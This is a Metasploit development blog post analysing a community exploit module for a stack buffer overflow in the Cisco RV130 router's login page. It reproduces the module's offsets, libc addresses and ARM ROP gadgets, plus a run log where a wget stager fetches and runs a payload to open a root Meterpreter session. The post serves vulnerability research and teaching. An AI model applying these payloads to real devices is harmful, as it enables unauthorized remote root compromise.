Metasploit Development Diaries, Q2 2019

The Life of a Pull Request: A Cisco RV130 VPN Router Case Study

William Vu, Metasploit Security Researcher


The world of exploit development is often considered arcane. Production code begets vulnerabilities; vulnerabilities yield proofs-of-concept (PoCs) that are shared across chatrooms and social networks. Before long, public exploits are available for testing, reverse engineering, and widespread commodity use. As open-source developers and researchers, the Metasploit Framework team is committed to building and maintaining a strong foundation of community knowledge. As it happens, we also spend a fair bit of time shepherding vulnerabilities on their journey from incipient PoCs to stable, seasoned exploits. In the process, we learn about the never-ending nuances of vulnerability analysis and the complexities of secure software development. Spoiler: They’re both difficult, and they’re both essential.

Metasploit’s Development Diaries series sheds light on how Rapid7’s offensive research team analyzes vulnerabilities as candidates for inclusion in Metasploit Framework—in other words, how a vulnerability makes it through rigorous open-source committee to become a full-fledged Metasploit module. We also delve into some of the biases and development practices that influence the infosec community’s decisions on which exploits to pursue, which vulnerabilities to prioritize for attention, and which workarounds or trade-offs are reasonable for vendors.

In this edition of development diaries, Metasploit hacker William Vu takes a deep dive into a community-contributed exploit module for a vulnerability in Cisco’s RV130 VPN router.

The long ARM of IoT

My exposure to ARM architecture has been opportunistic at best. I love computer architectures and happily learned dead ones like VAX, but I haven't spent as much time as I would like with the RISC architectures that seem to be gaining traction every day. With the Internet of Things growing worldwide, ARM has established itself as one of the foremost architectures for mobile and embedded computing.

So, when I saw Quentin Kaiser's stack-based buffer overflow for the Cisco RV130 VPN router show up in Metasploit Framework’s pull request (PR) queue—and saw that the device was ARM—I leapt at the opportunity to learn more about it.

While the Metasploit team always analyzes exploits for intended behavior, we also frequently analyze their vulnerabilities to better understand the bugs, patches, and exploitation vectors. The ultimate goal is to build a more reliable, well-tested, and sufficiently documented exploit.

Understanding the exploit

On this particular PR, I’ve emphasized in bold the magic words that caught my attention as the first reviewer:

"A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.

The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.

A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user."

The bolded text indicates that this is probably pre-authenticated remote root code execution (pre-auth root RCE)—the Holy Grail of vulnerabilities—in an unprotected resource such as a login page.

As you see in the PR history, I suggested using the wget-flavored command stager to serve, fetch, and execute the payload automatically using—you guessed it!—wget(1), which is present on the device in its BusyBox distribution. Note: Those interested in the Msf::Exploit::CmdStager library can read its documentation.

To explain what kind of vulnerability we’re dealing with, I’ll highlight three specific sections of the code.

Nani?! Kansei ROP chain!

The module defines a single target with a nondescript offset, libc base address, system(3) offset, and two ROP gadgets.

'Targets'        =>
    [ 'Cisco RV130/RV130W <',
        'offset'          => 446,
        'libc_base_addr'  => 0x357fb000,
        'system_offset'   => 0x0004d144,
        'gadget1'         => 0x00020e79, # pop {r2, r6, pc};
        'gadget2'         => 0x00041308, # mov r0, sp; blx r2;
        'Arch'            => ARCH_ARMLE,

Being an ARM noob, I didn't immediately understand why both gadgets were necessary, but after reviewing ARM calling convention, the two gadgets made more sense. ARM's calling convention passes arguments in registers r0 through r3, which is why system(3) needs r0 set.

Judging by the hardcoded libc base address, we can assume that libc isn't subject to ASLR. This makes exploitation significantly easier.

Lastly, the nondescript offset of 446 may be the number of bytes necessary to reach the saved return address if we're dealing with a buffer overflow.

What's a buffalo... err, buffer overflow?

A buffer overflow is what this is. Precisely, this is a stack-based buffer overflow. How do we know?

The module defines a couple methods of interest. p calculates the absolute address of an offset from libc's base address. prepare_shellcode defines the exploit buffer, particularly the ROP chain.

def p(offset)
  [(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse

def prepare_shellcode(cmd)
  #All these gadgets are from /lib/
  shellcode = rand_text_alpha(target['offset']) +       # filler
    p(target['gadget1']) +
    p(target['system_offset']) +                        # r2
    rand_text_alpha(4) +                                # r6
    p(target['gadget2']) +                              # pc

We were right about the 446 offset from earlier. That's how many bytes it takes to reach the saved return address. So, it looks like the first gadget is what would overwrite the saved return address to achieve arbitrary code execution. The first gadget assigns the next three words on the stack to registers r2, r6, and pc. What's pc? That's the program counter—ARM's version of x86's familiar EIP. That means execution continues at our second gadget.

pop {r2, r6, pc}

So, r2 contains the address to system(3), r6 contains a junk word (it doesn't matter what it is), and pc contains the second gadget.

mov r0, sp; blx r2

The second gadget sets r0 to sp, the stack pointer, then branches to r2. Since we know r2 contains the address to system(3), we can assume the execution will continue in that call. sp points to our shell command, which is supplied at the end of the chain. So, this ROP chain executes system(3) with an arbitrary command or, in this exploit, the wget command stager that will deliver our payload.

I still don't properly grok ARM, but I think this is good enough to work with for the purpose of analyzing this vulnerability.

Our last sample of code is where the magic happens. send_request_cgi is how we send HTTP requests in Metasploit. Right off the bat, we can see that this is a POST request to /login.cgi, much like we expected at the beginning of this adventure.

def send_request(buffer)
      'uri'     => '/login.cgi',
      'method'  => 'POST',
      'vars_post' => {
          "submit_button": "login",
          "submit_type": "",
          "gui_action": "",
          "wait_time": 0,
          "change_action": "",
          "enc": 1,
          "user": rand_text_alpha_lower(5),
          "pwd": buffer,
          "sel_lang": "EN"
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")

The username doesn't really matter, but the password—yes, the password!—is the curious bit. This is where our exploit buffer is supplied. Ironic, isn't it? Now, let's follow the white rabbit...

Analyzing the vulnerability

Beyond the exploit code, technical details on the vulnerability were sparse. The vulnerability was independently discovered by Yu Zhang and Haoliang Lu of the GeekPwn conference and T. Shiomitsu of Pen Test Partners. Since we’ve made only educated guesses so far, we’ll want to dig deeper to analyze the vulnerability in order to understand it.

Extracting the firmware

The PR includes a link to a vulnerable firmware version. Since we know the latest version of the firmware contains the patch and all previous versions are vulnerable, we can compare and analyze the latest two firmware versions.

I’ll use the firmware file carver binwalk in automatic extraction mode.

wvu@kharak:~/Downloads$ binwalk -e RV130X_FW_1.0.3.4*
Scan Time:     2019-05-03 15:42:23
Target File:   /Users/wvu/Downloads/RV130X_FW_1.0.3.44.bin
MD5 Checksum:  7b34f20052e780bb9398d5f5c306507e
Signatures:    344
0             0x0             BIN-Header, board ID: RV13, hardware version: 4702, firmware version: 1.0.0, build date: 2018-06-08
13433         0x3479          gzip compressed data, maximum compression, from Unix, last modified: 2018-06-08 07:32:10
2097184       0x200020        Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 17490577 bytes, 1446 inodes, blocksize: 131072 bytes, created: 2018-06-08 07:51:47
Scan Time:     2019-05-03 15:42:24
Target File:   /Users/wvu/Downloads/RV130X_FW_1.0.3.45.bin
MD5 Checksum:  f6fda19b711a7ae02c3e3363a5806159
Signatures:    344
0             0x0             BIN-Header, board ID: RV13, hardware version: 4702, firmware version: 1.0.0, build date: 2008-12-20
13433         0x3479          gzip compressed data, maximum compression, from Unix, last modified: 2008-12-20 11:03:16
2097184       0x200020        Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 17490654 bytes, 1446 inodes, blocksize: 131072 bytes, created: 2008-12-20 11:21:09

Great, binwalk was able to extract a Squashfs filesystem, which usually means a userland to browse through.

wvu@kharak:~/Downloads$ ls _RV130X_FW_1.0.3.4*/squashfs-root
bin            data           dev            etc            foreign_shares lib            log            mnt            proc           sbin           sys            tmp            usr            var            www
bin            data           dev            etc            foreign_shares lib            log            mnt            proc           sbin           sys            tmp            usr            var            www

Determining patched binaries with fuzzy hashing

Those familiar with fuzzy hashing, otherwise known as context-triggered piecewise hashing, will probably also be familiar with the de facto tool for it: ssdeep. Fuzzy hashing can be useful to identify similar files that wouldn't otherwise have identical hashes. We can use this technique to find patched binaries.

Since using ssdeep manually isn't necessarily efficient for this use case, Bernardo Rodrigues created Binwally to recursively fuzzy-hash two directory trees.

Here's how it works: 

wvu@kharak:~/Downloads$ git clone
Cloning into 'binwally'...
remote: Enumerating objects: 13, done.
remote: Total 13 (delta 0), reused 0 (delta 0), pack-reused 13
Unpacking objects: 100% (13/13), done.
wvu@kharak:~/Downloads$ cd binwally/
wvu@kharak:~/Downloads/binwally:master$ python ../_RV130X_FW_1.0.3.4*/squashfs-root | grep -w "0 differs"
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/usr/sbin/tc
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/usr/sbin/httpd
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/usr/sbin/syslog-ng
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/usr/sbin/email
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/usr/sbin/dhclient
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/usr/local/libexec/ipsec/pluto
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/usr/local/libexec/ipsec/addconn
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/usr/lib/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/usr/lib/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/usr/lib/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/etc/wwandl/wwan/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/etc/wwandl/wwan/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/
    0 differs _RV130X_FW_1.0.3.44.bin.extracted/squashfs-root/lib/modules/

The lines with 0 differs are particularly relevant, since they suggest completely new content in the listed files. Since the vuln is in the web-based management interface, I pick /usr/sbin/httpd and decide to do a little binary diffing to test the assumption.

Ghidra, King of the Free Reversing Tools?

I ask the question lovingly, since I’m a regular user of Cutter (I'm no good at r2). However, when the NSA announced that it was open-sourcing its in-house reversing tool, it took the community by storm. It's proven to be a formidable reversing tool already. Since I hadn't used Ghidra myself, this was a good opportunity to try my hand at it.

Ghidra comes with Version Tracking, a powerful tool to track the changes between analyses. We can use it as a basic bindiff tool. We'll be using the (free!) ARM decompiler as well.

I begin with a string search for anything pertaining to a login page. Some say looking at strings isn't reversing, but it can be a valuable first step, especially in unobfuscated software.

Search strings for login page

Cross-reference string to function

Disassemble function

Oof! Unbounded strcpy(3) is not safe, yet here we see it at 0x002c260.

Decompile function for more context

It’s even worse with user input!

Diff patched and unpatched functions

The patch changes strcpy(3) to strncpy(3), which is bounded. It's a trivial patch, but it appears sufficient.

With the patch uncovered, we can confirm why the exploit buffer is null-free. Both strcpy(3) and strncpy(3) are C functions that take strings as arguments. A null byte will terminate a string in C, and we wouldn't want to terminate our exploit!

Testing the code

Unfortunately, I did not succeed in emulating the firmware using QEMU system or FIRMADYNE in particular, which is what we usually do when testing exploits against available firmware. In this case, we ended up having to buy a vulnerable device in order to test the Metasploit module.

Seeing if we get a shell

Once the device arrived, we fired off the exploit: 

msf5 > use rv130
Matching Modules
   #  Name                                    Disclosure Date  Rank  Check  Description
   -  ----                                    ---------------  ----  -----  -----------
   1  exploit/linux/http/cisco_rv130_rmi_rce  2019-02-27       good  No     Cisco RV130W Routers Management Interface Remote Command Execution
[*] Using exploit/linux/http/cisco_rv130_rmi_rce
msf5 exploit(linux/http/cisco_rv130_rmi_rce) > set rhosts
rhosts =>
msf5 exploit(linux/http/cisco_rv130_rmi_rce) > set lhost
lhost =>
msf5 exploit(linux/http/cisco_rv130_rmi_rce) > run
[*] Started reverse TCP handler on
[*] Sending request
[*] Using URL:
[*] Local IP:
[*] Generated command stager: ["wget -qO /tmp/EdVgtUvL;chmod +x /tmp/EdVgtUvL;/tmp/EdVgtUvL;rm -f /tmp/EdVgtUvL"]
[*] Client (Wget) requested /CWvEF5ldbQ
[*] Sending payload to (Wget)
[*] Meterpreter session 1 opened ( -> at 2019-05-03 18:13:59 -0500
[*] Reloading httpd service
[*] Command Stager progress - 100.00% done (116/116 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     :
OS           :  (Linux
Architecture : armv6l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
meterpreter >

We got a root shell! 

A little extra verification

Since we have a shell, we can verify our ROP chain. This is a kind of a chicken-or-the-egg scenario, since we wouldn’t have this shell if the chain didn’t work, but it’s good to leverage access while we have it. Verifying assumptions is an important part of developing reliable exploits.

It can sometimes be more convenient to upload a statically compiled gdb instead of using gdbserver across architectures, so I’ll roll with that. If you’re targeting a restrictive environment or want to use PEDA or GEF, you’ll want gdbserver.

meterpreter > cd /tmp
meterpreter > upload ~/Downloads/gdb
[*] uploading  : /Users/wvu/Downloads/gdb -> gdb
[*] Uploaded -1.00 B of 20.53 MiB (0.0%): /Users/wvu/Downloads/gdb -> gdb
[*] Uploaded -1.00 B of 20.53 MiB (0.0%): /Users/wvu/Downloads/gdb -> gdb
[*] Uploaded -1.00 B of 20.53 MiB (0.0%): /Users/wvu/Downloads/gdb -> gdb
[*] uploaded   : /Users/wvu/Downloads/gdb -> gdb
meterpreter > chmod 700 gdb
meterpreter > shell
Process 18324 created.
Channel 2 created.
ps ww | grep [h]ttpd
17323 0          5028 S   httpd
17325 0          5092 S   httpd -S
cat /proc/17325/maps
00008000-00099000 r-xp 00000000 1f:03 1081   	/usr/sbin/httpd
000a0000-000a9000 rwxp 00090000 1f:03 1081   	/usr/sbin/httpd
000a9000-000cd000 rwxp 00000000 00:00 0      	[heap]
35556000-35557000 rwxp 00000000 00:00 0
35558000-3555d000 r-xp 00000000 1f:03 187    	/lib/
35564000-35565000 r-xp 00004000 1f:03 187    	/lib/
35565000-35566000 rwxp 00005000 1f:03 187    	/lib/
35566000-3556d000 r-xp 00000000 1f:03 1019   	/usr/lib/
3556d000-35574000 ---p 00000000 00:00 0
35574000-35575000 rwxp 00006000 1f:03 1019   	/usr/lib/
35575000-3557d000 rwxp 00000000 00:00 0
3557d000-355d7000 r-xp 00000000 1f:03 1036   	/usr/lib/
355d7000-355de000 ---p 00000000 00:00 0
355de000-355e4000 rwxp 00059000 1f:03 1036   	/usr/lib/
355e4000-355ed000 rwxp 00000000 00:00 0
355ed000-35608000 r-xp 00000000 1f:03 1028   	/usr/lib/
35608000-35610000 ---p 00000000 00:00 0
35610000-35611000 rwxp 0001b000 1f:03 1028   	/usr/lib/
35611000-35612000 r-xp 00000000 1f:03 1043   	/usr/lib/
35612000-3561a000 ---p 00000000 00:00 0
3561a000-3561b000 rwxp 00001000 1f:03 1043   	/usr/lib/
3561b000-35672000 r-xp 00000000 1f:03 1040   	/usr/lib/
35672000-3567a000 ---p 00000000 00:00 0
3567a000-35680000 rwxp 00057000 1f:03 1040   	/usr/lib/
35680000-357dd000 r-xp 00000000 1f:03 1015   	/usr/lib/
357dd000-357e4000 ---p 00000000 00:00 0
357e4000-357f9000 rwxp 0015c000 1f:03 1015   	/usr/lib/
357f9000-357fb000 rwxp 00000000 00:00 0
357fb000-35858000 r-xp 00000000 1f:03 184    	/lib/
35858000-35860000 ---p 00000000 00:00 0
35860000-35861000 r-xp 0005d000 1f:03 184    	/lib/
35861000-35862000 rwxp 0005e000 1f:03 184    	/lib/
35862000-35867000 rwxp 00000000 00:00 0
35867000-35869000 r-xp 00000000 1f:03 186    	/lib/
35869000-35870000 ---p 00000000 00:00 0
35870000-35871000 r-xp 00001000 1f:03 186    	/lib/
35871000-35872000 rwxp 00000000 00:00 0
35872000-3587c000 r-xp 00000000 1f:03 183    	/lib/
3587c000-35883000 ---p 00000000 00:00 0
35883000-35884000 rwxp 00009000 1f:03 183    	/lib/
35884000-35904000 rwxs 00000000 00:08 0      	/SYSV00000457 (deleted)
35904000-35984000 r-xs 00000000 00:08 0      	/SYSV00000457 (deleted)
9ee6f000-9ee84000 rw-p 00000000 00:00 0      	[stack]
./gdb -q -p 17325
Attaching to process 17325
Reading symbols from /usr/sbin/httpd...(no debugging symbols found)...done.
Reading symbols from /usr/lib/ debugging symbols found)...done.
Reading symbols from /usr/lib/ debugging symbols found)...done.
Reading symbols from /usr/lib/ debugging symbols found)...done.
Reading symbols from /usr/lib/ debugging symbols found)...done.
Reading symbols from /usr/lib/ debugging symbols found)...done.
Reading symbols from /usr/lib/ debugging symbols found)...done.
Reading symbols from /lib/ debugging symbols found)...done.
Reading symbols from /lib/ debugging symbols found)...done.
Reading symbols from /lib/
Reading symbols from /lib/ debugging symbols found)...done.
0x35809a98 in select () from /lib/
(gdb) x/i 0x357fb000 + 0x0004d144
   0x35848144 :	ldr	r3, [pc, #320]	; 0x3584828c 
(gdb) x/i 0x357fb000 + 0x00020e79
   0x3581be79:	pop	{r2, r6, pc}
(gdb) x/i 0x357fb000 + 0x00041308
   0x3583c308 :	mov	r0, sp

Cool, everything lines up! Note that the stack isn’t marked executable, which indicates DEP or NX. A logical step forward would be to attempt in-memory payload execution using a new chain that bypasses the non-executable protection if necessary, but that is an exercise left to the reader. Arbitrary command execution is more than sufficient against this target.

Metasploit perspective

Impact and exploitation

ARM is popular and increasingly relied upon, especially for the devices in our pockets and in our homes. The opportunity to do root cause analysis for a memory corruption bug on ARM ticked the novelty box for me; equally compelling was the fact that the vulnerability was in a consumer-grade device with security-specific application. Buffer-overflowing a login page’s password field to achieve root RCE is also an awesome way to bypass authentication. As a bonus, you can send the entire exploit over HTTPS, potentially evading detection over the network.

Making the module

Since this was a module provided by the community, once we're satisfied with review, initial testing, analysis, potentially more review, and final testing, we can land the PR.

This is the exciting part for everyone involved, since it means a new module makes it into master and eventually into distros like Kali and Metasploit Pro.

git merge -S --no-ff upstream/pr/11613
git push upstream master

And just like that, with those two commands, your code is now part of Metasploit Framework! Congrats!

Thanks to Quentin Kaiser for the excellent contribution.

As ever, we are grateful to our community of contributors and users for their creativity, persistence, and dedication to demonstrating both expected and unconventional risk.

Rapid7 has a robust coordinated vulnerability disclosure policy and a team that actively works with external researchers and vendors on coordinated disclosure. Occasionally, Metasploit’s research team is tapped to develop PoC exploits or module-ize an existing PoC that demonstrates risk and impact to third parties. If you’re a Metasploit contributor with an undisclosed vulnerability you’d like to submit as a pull request, we salute you—but please allow us to help you coordinate disclosure with the vendor first: (PGP public key 0x959D3EDA, for those who are so inclined).

About Metasploit and Rapid7

About Metasploit

Metasploit is a collaboration between Rapid7 and the open source community. Together, we empower defenders with world-class offensive security content and the ability to understand, exploit, and share vulnerabilities. To download Metasploit, visit

About Rapid7

Rapid7 (Nasdaq: RPD) is advancing security with visibility, analytics, and automation delivered through our Insight cloud. Our solutions simplify the complex, allowing security teams to work more effectively with IT and development to reduce vulnerabilities, monitor for malicious behavior, investigate and shut down attacks, and automate routine tasks. Customers around the globe rely on Rapid7 technology, services, and research to improve security outcomes and securely advance their organizations.